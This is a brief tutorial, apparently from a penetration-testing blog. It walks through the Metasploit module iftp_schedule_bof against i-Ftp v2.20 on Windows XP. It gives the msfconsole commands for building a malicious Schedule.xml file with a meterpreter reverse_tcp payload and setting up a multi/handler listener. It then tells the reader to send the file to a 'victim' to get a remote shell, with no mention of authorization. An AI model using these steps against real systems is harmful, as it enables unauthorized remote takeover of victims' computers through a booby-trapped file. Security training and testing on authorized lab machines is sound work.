Kali Linux, Penetration Testing

Exploit Remote Windows PC using i-FTP Schedule Buffer Overflow

This module exploits stack-based buffer overflow vulnerability in i-Ftp v2.20, caused by a long time value set for scheduled download. By persuading the victim to place a specially-crafted Schedule.xml file in the i-FTP folder, a remote attacker could execute arbitrary code on the system or cause the application to crash. This module has been tested successfully on Windows XP SP3.

Exploit Targets

i-Ftp v2.20


Attacker: kali Linux

Victim PC: Windows XP 3

Open Kali terminal type msfconsole

Now type use exploit/windows/fileformat/iftp_schedule_bof

msf exploit (iftp_schedule_bof)>set payload windows/meterpreter/reverse_tcp

msf exploit (iftp_schedule_bof)>set lhost (IP of Local Host)

msf exploit (iftp_schedule_bof)>exploit

After we successfully generate the malicious xml File, it will stored on your local computer


Copy Schedule.xml to C:\Program Files\Memecode\i.Ftp

Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost


Now send your schedule.xml files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.
